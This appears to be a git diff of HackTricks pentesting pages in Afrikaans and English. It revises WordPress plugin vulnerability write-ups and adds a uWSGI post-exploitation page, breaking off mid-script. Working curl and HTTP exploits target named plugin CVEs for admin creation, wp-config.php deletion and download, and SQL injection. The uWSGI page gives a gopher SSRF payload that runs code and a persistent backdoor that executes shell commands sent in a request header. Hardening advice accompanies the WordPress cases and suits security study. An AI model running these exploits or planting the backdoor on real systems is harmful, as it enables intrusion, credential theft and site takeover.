+Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk via die web toeganglik. Dus, as 'n plugin enige kwesbare funksionaliteit ontsluit wat net deur toegang tot die lêer geaktiveer word, sal dit deur enige gebruiker uitgebuit kan word.
 
 ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
 
-Sommige plugins implementeer “trusted header” kortpaaie vir interne integrasies of reverse proxies en gebruik dan daardie header om die huidige gebruiker-konteks vir REST-versoeke te stel. As die header nie deur 'n upstream-komponent kriptografies aan die versoek gebind is nie, kan 'n aanvaller dit naboots en gemagtigde REST-roetes as 'n administrateur bereik.
+Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
 
-- Impact: ongeauthentiseerde privilege escalation to admin by creating a new administrator via the core users REST route.
+- Impak: ongeauthentiseerde bevoegdheidsverhoging na administrateur deur 'n nuwe administrateur te skep via die core users REST route.
-- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
+- Voorbeeld header: `X-Wcpay-Platform-Checkout-User: 1` (dwing gebruiker-ID 1 af, tipies die eerste administrateur-rekening).
-- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
+- Uitgebuite roete: `POST /wp-json/wp/v2/users` met 'n verhoogde rol-array.
 
 PoC
 ```http
@@ -393,38 +392,38 @@ Content-Length: 114
 ```
 Waarom dit werk
 
-- Die plugin koppel 'n kliënt-beheerde header aan die outentiseringsstatus en slaan capability-kontroles oor.
+- Die plugin koppel 'n kliënt-gekontroleerde header aan die autentiseringsstatus en slaan capability-controles oor.
-- WordPress core verwag die `create_users` capability vir hierdie roete; die plugin hack omseil dit deur die huidige gebruiker-konteks direk vanaf die header te stel.
+- WordPress core verwag die `create_users` capability vir hierdie route; die plugin-hack omseil dit deur die huidige gebruiker-konteks direk uit die header te stel.
 
 Verwagte suksesaanwysers
 
-- HTTP 201 met 'n JSON-body wat die geskepte gebruiker beskryf.
+- HTTP 201 met 'n JSON-liggaam wat die geskepte gebruiker beskryf.
-- 'n nuwe admin gebruiker sigbaar in `wp-admin/users.php`.
+- 'n Nuwe admin gebruiker sigbaar in `wp-admin/users.php`.
 
 Opsporingskontrolelys
 
-- Grep vir `getallheaders()`, `$_SERVER['HTTP_...']`, of vendor SDKs wat pasgemaakte headers lees om die gebruiker-konteks te stel (bv. `wp_set_current_user()`, `wp_set_auth_cookie()`).
+- Grep vir `getallheaders()`, `$_SERVER['HTTP_...']`, of vendor SDKs wat aangepaste headers lees om gebruikerskonteks te stel (bv. `wp_set_current_user()`, `wp_set_auth_cookie()`).
-- Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste `permission_callback`-kontroles het nie en eerder op request headers staatmaak.
+- Hersien REST-registrasies vir bevoorregte callbacks wat nie robuuste `permission_callback`-kontroles het nie en in plaas daarvan op versoek-headers staatmaak.
-- Soek gebruike van kern user-management funksies (`wp_insert_user`, `wp_create_user`) binne REST handlers wat slegs op headerwaardes staatmaak.
+- Kyk vir gebruik van core user-management funksies (`wp_insert_user`, `wp_create_user`) binne REST-handlers wat slegs deur header-waardes gefilter word.
 
 Verharding
 
-- Moet nooit outentisering of autorisasie aflei uit kliënt-beheerde headers nie.
+- Moet nooit autentisering of magtiging aflei uit kliënt-gekontrolleerde headers nie.
-- As 'n reverse proxy identiteit moet injekteer, beëindig vertroue by die proxy en verwyder inkomende kopieë (bv. `unset X-Wcpay-Platform-Checkout-User` by die edge), en stuur dan 'n ondertekende token wat server-side geverifieer word.
+- Indien 'n reverse proxy identiteit moet injekteer, beëindig vertroulikheid by die proxy en verwyder inkomende kopieë (bv. `unset X-Wcpay-Platform-Checkout-User` by die edge), en stuur dan 'n getekende token en verifieer dit server-side.
-- Vir REST-roetes wat bevoorregte aksies uitvoer, vereis `current_user_can()`-kontroles en 'n streng `permission_callback` (MOENIE `__return_true` gebruik nie).
+- Vir REST-routes wat bevoorregte aksies uitvoer, vereis `current_user_can()`-kontroles en 'n streng `permission_callback` (gebruik NIE `__return_true` nie).
-- Gee voorkeur aan eerste-party auth (cookies, application passwords, OAuth) bo header “impersonation”.
+- Voorkeur eerste-party auth (cookies, application passwords, OAuth) bo header “impersonation”.
 
-Verwysings: sien die skakels aan die einde van hierdie bladsy vir 'n openbare geval en breër analise.
+References: sien die skakels aan die einde van hierdie bladsy vir 'n openbare geval en breër ontleding.
 
-### Nie-geauthentiseerde Willekeurige Lêeruitwissing via wp_ajax_nopriv (Litho Theme <= 3.0)
+### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
 
-WordPress temas en plugins openbaar dikwels AJAX-handlers deur die `wp_ajax_` en `wp_ajax_nopriv_` hooks. Wanneer die **_nopriv_** variant gebruik word **word die callback bereikbaar deur nie-geauthentiseerde besoekers**, daarom moet enige sensitiewe aksie bykomend die volgende implementeer:
+WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks.  When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
 
-1. 'n **capability check** (bv. `current_user_can()` of ten minste `is_user_logged_in()`), en
+1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
-2. 'n **CSRF nonce** gevalideer met `check_ajax_referer()` / `wp_verify_nonce()`, en
+2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
-3. **Streng invoersanitisering / validasie**.
+3. **Strict input sanitisation / validation**.
 
-Die Litho multipurpose theme (< 3.1) het daardie 3 kontroles in die *Remove Font Family* funksie vergeet en het uiteindelik die volgende kode in die uitgawe ingesluit (vereenvoudig):
+The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
 ```php
 function litho_remove_font_family_action_data() {
 if ( empty( $_POST['fontfamily'] ) ) {
@@ -443,28 +442,28 @@ die();
 add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
 add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
 ```
-Probleme wat deur hierdie snippet geïntroduseer word:
+Probleme geïntroduseer deur hierdie stukkie:
 
-* **Ongeauthentiseerde toegang** – the `wp_ajax_nopriv_` hook is registered.
+* **Unauthenticated access** – die `wp_ajax_nopriv_` hook is geregistreer.
-* **Geen nonce / capability check** – enige besoeker kan die endpoint aanroep.
+* **No nonce / capability check** – enige besoeker kan die endpoint aanroep.
-* **Geen pad-sanitisering** – die deur die gebruiker beheerde `fontfamily` string word sonder filtrering aan 'n lêerstelselpad gekonkateneer, wat klassieke `../../` traversal toelaat.
+* **No path sanitisation** – die deur gebruiker beheerste `fontfamily` string word aan 'n lêerstelselpad gekonkateneer sonder filtrasie, wat klassieke `../../` traversering toelaat.
 
 #### Uitbuiting
 
-'n aanvaller kan enige lêer of gids **onder die uploads base directory** (gewoonlik `<wp-root>/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST-versoek te stuur:
+'n aanvaller kan enige lêer of gids **onder die uploads base directory** (gewoonlik `<wp-root>/wp-content/uploads/`) verwyder deur 'n enkele HTTP POST versoek te stuur:
 ```bash
 curl -X POST https://victim.com/wp-admin/admin-ajax.php \
 -d 'action=litho_remove_font_family_action_data' \
 -d 'fontfamily=../../../../wp-config.php'
 ```
-Omdat `wp-config.php` buite *uploads* leef, is vier `../`-reekse genoeg op 'n standaardinstallasie. Deletie van `wp-config.php` dwing WordPress in die *installasiewizard* by die volgende besoek, wat 'n volledige webwerf-oorneem moontlik maak (die aanvaller voorsien net 'n nuwe DB-konfigurasie en skep 'n admingebruiker).
+Omdat `wp-config.php` buite *uploads* lê, is vier `../`-reekse genoeg op 'n standaardinstallasie. Die verwydering van `wp-config.php` dwing WordPress by die volgende besoek in die *installation wizard*, wat 'n volledige webwerf-oorname moontlik maak (die aanvaller verskaf net 'n nuwe DB-konfigurasie en skep 'n admin-gebruiker).
 
-Ander impakvolle teikens sluit in plugin/theme `.php`-lêers (om security-plugins te breek) of `.htaccess`-reëls.
+Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
 
 #### Opsporingskontrolelys
 
 * Enige `add_action( 'wp_ajax_nopriv_...')` callback wat filesystem helpers aanroep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ens.).
-* Konkatenering van ongefilterde gebruikersinvoer in paaie (kyk vir `$_POST`, `$_GET`, `$_REQUEST`).
+* Samestelling van ongesuiwerde gebruikerinvoer in paaie (soek na `$_POST`, `$_GET`, `$_REQUEST`).
 * Afwesigheid van `check_ajax_referer()` en `current_user_can()`/`is_user_logged_in()`.
 
 #### Verharding
@@ -487,16 +486,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
 //  🔒  NO wp_ajax_nopriv_ registration
 ```
 > [!TIP]
-> **Altyd** behandel enige skryf/verwyder-operasie op die skyf as privileged en dubbelkontroleer:
+> **Altyd** beskou enige skryf/verwyder-bewerking op skyf as bevoorreg en kontroleer dit twee keer:
 > • Authentication  • Authorisation  • Nonce  • Input sanitisation  • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
 
 ---
 
-### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
+### Privilege escalation via verouderde rolherstel and missing authorization (ASE "View Admin as Role")
 
-Baie plugins implementeer a "view as role" of temporary role-switching funksie deur die oorspronklike rol(le) in user meta te stoor sodat dit later herstel kan word. As die herstelpad slegs op request parameters (bv. `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys staatmaak sonder om capabilities en 'n geldige nonce te kontroleer, lei dit tot 'n vertical privilege escalation.
+Baie plugins implementeer 'n "view as role" of temporary role-switching funksie deur die oorspronklike rol(le) in user meta te stoor sodat hulle later herstel kan word. As die herstelpad slegs op request parameters (bv., `$_REQUEST['reset-for']`) en 'n plugin-onderhoude lys staatmaak sonder om capabilities en 'n geldige nonce na te gaan, word dit 'n vertical privilege escalation.
 
-'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch het rolle herstel gebaseer op `reset-for=<username>` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het geen `current_user_can()`-kontrole uitgevoer nie en ook nie 'n nonce-verifikasie nie voordat dit huidige rolle verwyder en die gestoor rolle uit user meta `_asenha_view_admin_as_original_roles` weer bygevoeg het:
+'n Werklike voorbeeld is gevind in die Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset-branch het rolle herstel gebaseer op `reset-for=<username>` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het geen `current_user_can()` kontrole of nonce-verifikasie uitgevoer voordat dit die huidige rolle verwyder en die gestoor rolle uit user meta `_asenha_view_admin_as_original_roles` herbygevoeg het nie:
 ```php
 // Simplified vulnerable pattern
 if ( isset( $_REQUEST['reset-for'] ) ) {
@@ -513,17 +512,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
 ```
 Waarom dit uitbuitbaar is
 
-- Vertrou op `$_REQUEST['reset-for']` en 'n plugin-opsie sonder server-side magtiging.
+- Vertrou op `$_REQUEST['reset-for']` en 'n plugin opsie sonder server-side authorization.
-- As 'n gebruiker voorheen hoër voorregte in `_asenha_view_admin_as_original_roles` gestoor gehad het en afgegradeer is, kan hulle dit herstel deur die reset-pad te tref.
+- As 'n gebruiker voorheen hoër voorregte gehad het wat gestoor is in `_asenha_view_admin_as_original_roles` en daarna afgegradeer is, kan hulle dit herstel deur die reset path te besoek.
-- In sommige implementasies kon enige geauthentiseerde gebruiker 'n reset vir 'n ander gebruikersnaam wat nog in `viewing_admin_as_role_are` teenwoordig is, aktiveer (gebreekte magtiging).
+- In sommige deployments kan enige authenticated user 'n reset trigger vir 'n ander gebruikersnaam wat nog in `viewing_admin_as_role_are` bestaan (broken authorization).
 
 Aanvalsvereistes
 
-- Kwetsbare plugin-weergawe met die funksie aangeskakel.
+- Kwetsbare plugin-weergawe met die funksie geaktiveer.
-- Teikenrekening het 'n verouderde hoë-privilege rol gestoor in user meta vanaf vroeër gebruik.
+- Teikenrekening het 'n verouderde high-privilege role gestoor in user meta van vroeër gebruik.
-- Enige geauthentiseerde sessie; ontbrekende nonce/capability in die reset-stroom.
+- Enige authenticated session; ontbrekende nonce/capability in die reset flow.
 
-Eksploitasie (voorbeeld)
+Uitbuiting (voorbeeld)
 ```bash
 # While logged in as the downgraded user (or any auth user able to trigger the code path),
 # hit any route that executes the role-switcher logic and include the reset parameter.
@@ -531,34 +530,34 @@ Eksploitasie (voorbeeld)
 curl -s -k -b 'wordpress_logged_in=...' \
 'https://victim.example/wp-admin/?reset-for=<your_username>'
 ```
-Op kwesbare weergawes verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle weer by (bv. `administrator`), wat effektief bevoegdhede eskaleer.
+Op kwesbare builds verwyder dit die huidige rolle en voeg die gestoorde oorspronklike rolle weer by (bv. `administrator`), wat sodoende bevoegdhede verhoog.
 
 Detection checklist
 
-- Kyk vir rol-wisselende funksies wat “oorspronklike rolle” in gebruikersmeta bewaar (bv. `_asenha_view_admin_as_original_roles`).
+- Kyk vir rol-wissel-funksies wat “oorspronklike rolle” in user meta bewaar (bv. `_asenha_view_admin_as_original_roles`).
 - Identifiseer reset/restore-paaie wat:
-- Lees gebruikersname vanaf `$_REQUEST` / `$_GET` / `$_POST`.
+- Lees gebruikersname uit `$_REQUEST` / `$_GET` / `$_POST`.
 - Wysig rolle via `add_role()` / `remove_role()` sonder `current_user_can()` en `wp_verify_nonce()` / `check_admin_referer()`.
-- Verleen magtiging gebaseer op 'n plugin-opsie-array (bv. `viewing_admin_as_role_are`) in plaas van die akteur se bevoegdhede.
+- Gemagtig op grond van 'n plugin-opsie-array (bv. `viewing_admin_as_role_are`) eerder as die akteur se bevoegdhede.
 
 Hardening
 
-- Verplig bevoegdheidskontroles op elke staat-wysigende tak (bv. `current_user_can('manage_options')` of strenger).
+- Dwing bevoegdheidskontroles af op elke tak wat toestand verander (bv. `current_user_can('manage_options')` of strenger).
-- Vereis nonces vir alle rol-/permissieveranderings en verifieer hulle: `check_admin_referer()` / `wp_verify_nonce()`.
+- Vereis nonces vir alle rol-/toestemmingswysigings en verifieer hulle: `check_admin_referer()` / `wp_verify_nonce()`.
-- Moet nooit versoek-verskafde gebruikersname vertrou nie; bepaal die teikengebruiker aan die bedienerkant gebaseer op die geverifieerde akteur en 'n eksplisiete beleid.
+- Vertrou nooit versoek-verskafde gebruikersname nie; los die teikengebruiker aan die bedienerkant op gebaseer op die geverifieerde akteur en 'n duidelike beleid.
-- Maak die toestand van “oorspronklike rolle” ongeldig tydens profiel-/rol-opdaterings om verouderde hoë-bevoegdheidsherstel te voorkom:
+- Maak die “oorspronklike rolle”-toestand ongeldig by profiel-/rol-opdaterings om te voorkom dat vervalde hoë-privilegie-herstel plaasvind:
 ```php
 add_action( 'profile_update', function( $user_id ) {
 delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
 }, 10, 1 );
 ```
-- Oorweeg om slegs minimale staat te stoor en time-limited, capability-guarded tokens te gebruik vir tydelike role switches.
+- Oorweeg om minimale state te stoor en tydbeperkte, capability-guarded tokens te gebruik vir tydelike rolwisselings.
 
 ---
 
 ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
 
-Sommige plugins koppel user-switching helpers aan die publieke `init` hook en bepaal identiteit uit 'n client-controlled cookie. As die kode `wp_set_auth_cookie()` aanroep sonder om authentication, capability en 'n geldige nonce te verifieer, kan enige unauthenticated besoeker dwing om as 'n willekeurige user ID aan te meld.
+Sommige plugins koppel user-switching helpers aan die publieke `init` hook en bepaal identiteit uit 'n kliënt-beheerde cookie. As die kode `wp_set_auth_cookie()` aanroep sonder om authentication, capability en 'n geldige nonce te verifieer, kan enige ongeauthentiseerde besoeker dwing om as 'n arbitrêre user ID aan te meld.
 
 Tipiese kwesbare patroon (vereenvoudig uit Service Finder Bookings ≤ 6.1):
 ```php
@@ -589,13 +588,13 @@ wp_die('Original user not found.');
 wp_die('No original user found to switch back to.');
 }
 ```
-Waarom dit uitgebuit kan word
+Waarom dit uitbuitbaar is
 
-- Publieke `init` hook maak die handler bereikbaar vir nie-geauthentiseerde gebruikers (geen `is_user_logged_in()` beskerming nie).
+- Publieke `init` hook maak die handler bereikbaar vir nie-geauthentiseerde gebruikers (geen `is_user_logged_in()` beskerming).
-- Identiteit word afgelei uit 'n deur die kliënt veranderbare cookie (`original_user_id`).
+- Identiteit word afgelei uit 'n kliënt-wysigbare cookie (`original_user_id`).
-- Direkte oproep na `wp_set_auth_cookie($uid)` teken die versoeker in as daardie gebruiker sonder enige capability/nonce checks.
+- Direkte oproep na `wp_set_auth_cookie($uid)` teken die versoeker in as daardie gebruiker sonder enige capability/nonce kontroles.
 
-Uitbuiting (nie-geauthentiseerd)
+Eksploitasie (unauthenticated)
 ```http
 GET /?switch_back=1 HTTP/1.1
 Host: victim.example
@@ -607,30 +606,30 @@ Connection: close
 
 ### WAF-oorwegings vir WordPress/plugin CVEs
 
-Generiese edge/server WAFs is afgestem op breë patrone (SQLi, XSS, LFI). Baie hoog‑impak WordPress/plugin foute is toepassingsspesifieke logika/auth-bugs wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan.
+Algemene edge/server WAFs is ingestel op breë patrone (SQLi, XSS, LFI). Baie hoë-impak WordPress/plugin kwesbaarhede is toepassingspesifieke logika/auth foute wat soos onskadelike verkeer lyk tensy die engine WordPress-roetes en plugin-semantiek verstaan.
 
 Aanvalsnotas
 
-- Teiken plugin-spesifieke endpoints met skoon payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
+- Rig op plugin-spesifieke endpoints met skoon payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
-- Gebruik eers unauth-paaie (AJAX `nopriv`, REST met permissiewe `permission_callback`, openbare shortcodes). Standaard payloads slaag dikwels sonder obfuskering.
+- Gebruik eers unauth paths (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads slaag dikwels sonder obfuscation.
-- Tipiese hoog-impak gevalle: privilege escalation (gebreekte toegangskontrole), arbitrêre lêer oplaai/aflaai, LFI, open redirect.
+- Tipiese hoë-impak gevalle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
 
 Verdedigingsnotas
 
-- Moet nie staatmaak op generiese WAF-handtekeninge om plugin CVEs te beskerm nie. Implementeer toepassingslaag, kwesbaarheid-spesifieke virtuele pleisters of werk vinnig op.
+- Moet nie staatmaak op generiese WAF-signatures om plugin CVEs te beskerm nie. Implementeer application-layer, vulnerability-specific virtual patches of werk vinnig op.
-- Verkies positiewe sekuriteitskontroles in kode (capabilities, nonces, streng invoervalidatie) bo negatiewe regex-filters.
+- Gee voorkeur aan positive-security checks in code (capabilities, nonces, strict input validation) bo negatiewe regex filters.
 
 ## WordPress-beskerming
 
 ### Gereelde opdaterings
 
-Maak seker WordPress, plugins, en themes is op datum. Bevestig ook dat geoutomatiseerde opdatering in wp-config.php aangeskakel is:
+Maak seker dat WordPress, plugins en temas op datum is. Bevestig ook dat geoutomatiseerde opdaterings in `wp-config.php` geaktiveer is:
 ```bash
 define( 'WP_AUTO_UPDATE_CORE', true );
 add_filter( 'auto_update_plugin', '__return_true' );
 add_filter( 'auto_update_theme', '__return_true' );
 ```
-Installeer ook slegs betroubare WordPress-plugins en -themes.
+Ook, **installeer slegs betroubare WordPress plugins en themes**.
 
 ### Sekuriteits-plugins
 
@@ -640,14 +639,13 @@ Installeer ook slegs betroubare WordPress-plugins en -themes.
 
 ### **Ander Aanbevelings**
 
-- Verwyder die standaard **admin** gebruiker
+- Verwyder die verstek **admin** gebruiker
 - Gebruik **sterk wagwoorde** en **2FA**
-- **Hersien** gereeld gebruikers se **toestemmings**
+- Hersien periodiek gebruikers se **toestemmings**
-- **Beperk aanmeldpogings** om Brute Force attacks te voorkom
+- **Beperk aanmeldpogings** om Brute Force-aanvalle te voorkom
-- Hernoem die **`wp-admin.php`** lêer en laat toegang slegs intern of vanaf sekere IP-adresse toe.
+- Hernoem die **`wp-admin.php`** lêer en laat toegang slegs intern of vanaf sekere IP-adresse.
 
-
+### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
-### Nie-geauthentiseerde SQL Injection via onvoldoende validasie (WP Job Portal <= 2.3.2)
 
 Die WP Job Portal recruitment plugin het 'n **savecategory** taak blootgestel wat uiteindelik die volgende kwesbare kode binne `modules/category/model.php::validateFormData()` uitvoer:
 ```php
@@ -659,19 +657,19 @@ $inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
 $query  = "SELECT max(ordering)+1 AS maxordering FROM "
 . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
 ```
-Issues introduced by this snippet:
+Issues geïntroduseer deur hierdie fragment:
 
-1. **Ongesanitiseerde gebruikersinvoer** – `parentid` kom direk van die HTTP-versoek af.
+1. **Ongefilterde gebruikersinvoer** – `parentid` kom direk uit die HTTP-versoek.
 2. **String-konkatenasie binne die WHERE-clausule** – geen `is_numeric()` / `esc_sql()` / prepared statement.
-3. **Nie-geauthentiseerde bereikbaarheid** – alhoewel die aksie uitgevoer word via `admin-post.php`, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan bekom vanaf 'n publieke bladsy wat die shortcode `[wpjobportal_my_resumes]` ingebed het.
+3. **Nie-geauthentiseerde bereikbaarheid** – alhoewel die aksie deur `admin-post.php` uitgevoer word, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan kry vanaf 'n publieke bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit.
 
-#### Eksploitasie
+#### Uitbuiting
 
 1. Kry 'n vars nonce:
 ```bash
 curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
 ```
-2. Injiseer arbitrêre SQL deur `parentid` te misbruik:
+2. Injecteer arbitrêre SQL deur `parentid` te misbruik:
 ```bash
 curl -X POST https://victim.com/wp-admin/admin-post.php \
 -d 'task=savecategory' \
@@ -679,20 +677,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
 -d 'parentid=0 OR 1=1-- -' \
 -d 'cat_title=pwn' -d 'id='
 ```
-Die reaksie openbaar die resultaat van die ingespuite query of verander die databasis, wat SQLi bewys.
+Die respons openbaar die resultaat van die ingespuitde navraag of verander die databasis, wat SQLi bewys.
 
 
 ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
 
-Nog 'n taak, **downloadcustomfile**, het besoekers toegelaat om **enige lêer op skyf** af te laai via path traversal. Die kwesbare sink is geleë in `modules/customfield/model.php::downloadCustomUploadedFile()`:
+Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal.  The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
 ```php
 $file = $path . '/' . $file_name;
 ...
 echo $wp_filesystem->get_contents($file); // raw file output
 ```
-`$file_name` is deur die aanvaller beheer en saamgevoeg **without sanitisation**. Weer, die enigste hindernis is 'n **CSRF nonce** wat van die CV-bladsy afgehaal kan word.
+`$file_name` is deur die aanvaller beheer en aaneengeskakel **sonder sanitisering**. Opnuut is die enigste hek 'n **CSRF nonce** wat vanaf die resume-bladsy verkry kan word.
 
-#### Exploitation
+#### Uitbuiting
 ```bash
 curl -G https://victim.com/wp-admin/admin-post.php \
 --data-urlencode 'task=downloadcustomfile' \
@@ -701,7 +699,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
 --data-urlencode 'entity_id=1' \
 --data-urlencode 'file_name=../../../wp-config.php'
 ```
-Die server reageer met die inhoud van `wp-config.php`, leaking DB credentials and auth keys.
+Die bediener reageer met die inhoud van `wp-config.php`, leaking DB credentials and auth keys.
 
 ## Verwysings
 

src/network-services-pentesting/pentesting-web/wsgi.md

@@ -0,0 +1,169 @@
+# WSGI Post-Exploitation Tricks
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## WSGI Oorsig
+
+Web Server Gateway Interface (WSGI) is 'n spesifikasie wat beskryf hoe 'n webbediener met webtoepassings kommunikeer, en hoe webtoepassings aan mekaar gekoppel kan word om 'n versoek te verwerk. uWSGI is een van die gewildste WSGI-bedieners en word gereeld gebruik om Python-webtoepassings te bedien.
+
+## uWSGI Magic Variables Exploitation
+
+uWSGI verskaf spesiale "magic variables" wat gebruik kan word om die bediener se gedrag dinamies te konfigureer. Hierdie variables kan deur HTTP headers gestel word en kan tot ernstige sekuriteitskwesbaarhede lei as dit nie behoorlik gevalideer word nie.
+
+### Key Exploitable Variables
+
+#### `UWSGI_FILE` - Arbitrary File Execution
+```
+uwsgi_param UWSGI_FILE /path/to/python/file.py;
+```
+Hierdie veranderlike laat toe om willekeurige Python-lêers as WSGI-toepassings te laai en uit te voer. As 'n attacker hierdie parameter kan beheer, kan hulle Remote Code Execution (RCE) bereik.
+
+#### `UWSGI_SCRIPT` - Skriplading
+```
+uwsgi_param UWSGI_SCRIPT module.path:callable;
+uwsgi_param SCRIPT_NAME /endpoint;
+```
+Laai 'n gespesifiseerde skrip as 'n nuwe toepassing. In kombinasie met lêeroplaai of skryfvermoëns, kan dit tot RCE lei.
+
+#### `UWSGI_MODULE` en `UWSGI_CALLABLE` - Dynamic Module Loading
+```
+uwsgi_param UWSGI_MODULE malicious.module;
+uwsgi_param UWSGI_CALLABLE evil_function;
+uwsgi_param SCRIPT_NAME /backdoor;
+```
+Hierdie parameters laat toe om enige Python-modules te laai en spesifieke funksies daarin aan te roep.
+
+#### `UWSGI_SETENV` - Manipulasie van Omgewingsveranderlikes
+```
+uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
+```
+Kan gebruik word om omgewingsveranderlikes te wysig, wat moontlik die toepassing se gedrag beïnvloed of kwaadwillige konfigurasie laai.
+
+#### `UWSGI_PYHOME` - Python Omgewingsmanipulasie
+```
+uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
+```
+Verander die Python virtual environment, wat moontlik skadelike pakkette of ander Python-interpreters kan laai.
+
+#### `UWSGI_CHDIR` - Directory Traversal
+```
+uwsgi_param UWSGI_CHDIR /etc/;
+```
+Verander die werkende gids voordat versoeke verwerk word, wat gebruik kan word vir path traversal-aanvalle.
+
+## SSRF + Gopher na
+
+### Die Aanvalsvektor
+
+Wanneer uWSGI via SSRF (Server-Side Request Forgery) toeganklik is, kan aanvallers met die interne uWSGI socket interaksie hê om magic variables uit te buit. Dit is veral gevaarlik wanneer:
+
+1. Die toepassing het SSRF kwesbaarhede
+2. uWSGI loop op 'n interne poort/socket
+3. Die toepassing valideer nie magic variables behoorlik nie
+
+uWSGI is toeganklik as gevolg van SSRF omdat die konfigurasielêer `uwsgi.ini` die volgende bevat: `socket = 127.0.0.1:5000`, wat dit vanaf die webtoepassing deur SSRF toeganklik maak.
+
+### Uitbuitingsvoorbeeld
+
+#### Stap 1: Skep kwaadwillige payload
+Eerstens, injecteer Python-kode in 'n lêer wat deur die bediener toeganklik is (lêer skryf binne die bediener, die uitbreiding van die lêer maak nie saak nie):
+```python
+# Payload injected into a JSON profile file
+import os
+os.system("/readflag > /app/profiles/result.json")
+```
+#### Stap 2: Skep 'n uWSGI-protokolversoek
+Gebruik die Gopher-protokol om rou uWSGI-pakkette te stuur:
+```
+gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
+```
+Hierdie payload:
+- Verbind met uWSGI op poort 5000
+- Stel `UWSGI_FILE` in om na die kwaadwillige lêer te wys
+- Dwing uWSGI om die Python-kode te laai en uit te voer
+
+### uWSGI Protokolstruktuur
+
+Die uWSGI-protokol gebruik 'n binêre formaat waar:
+- Veranderlikes word gekodeer as stringe met 'n lengtevoorvoegsel
+- Elke veranderlike het: `[name_length][name][value_length][value]`
+- Die pakket begin met 'n header wat die totale grootte bevat
+
+## Post-Exploitation Techniques
+
+### 1. Persistent Backdoors
+
+#### File-based Backdoor
+```python
+# backdoor.py
+import subprocess
+import base64
+
+def application(environ, start_response):
+cmd = environ.get('HTTP_X_CMD', '')
+if cmd:
+result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
+response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
+else:
+response = "Backdoor active"
+
+start_response('200 OK', [('Content-Type', 'text/plain')])
+return [response.encode()]
+```
+Gebruik dan `UWSGI_FILE` om hierdie backdoor te laai:
+```
+uwsgi_param UWSGI_FILE /tmp/backdoor.py;
+uwsgi_param SCRIPT_NAME /admin;
+```
+#### Omgewingsgebaseerde persistensie
+```
+uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
+```
+### 2. Inligtingsvrystelling
+
+#### Uitlees van omgewingsveranderlikes
+```python
+# env_dump.py
+import os
+import json
+
+def application(environ, start_response):
+env_data = {
+'os_environ': dict(os.environ),
+'wsgi_environ': dict(environ)
+}
+
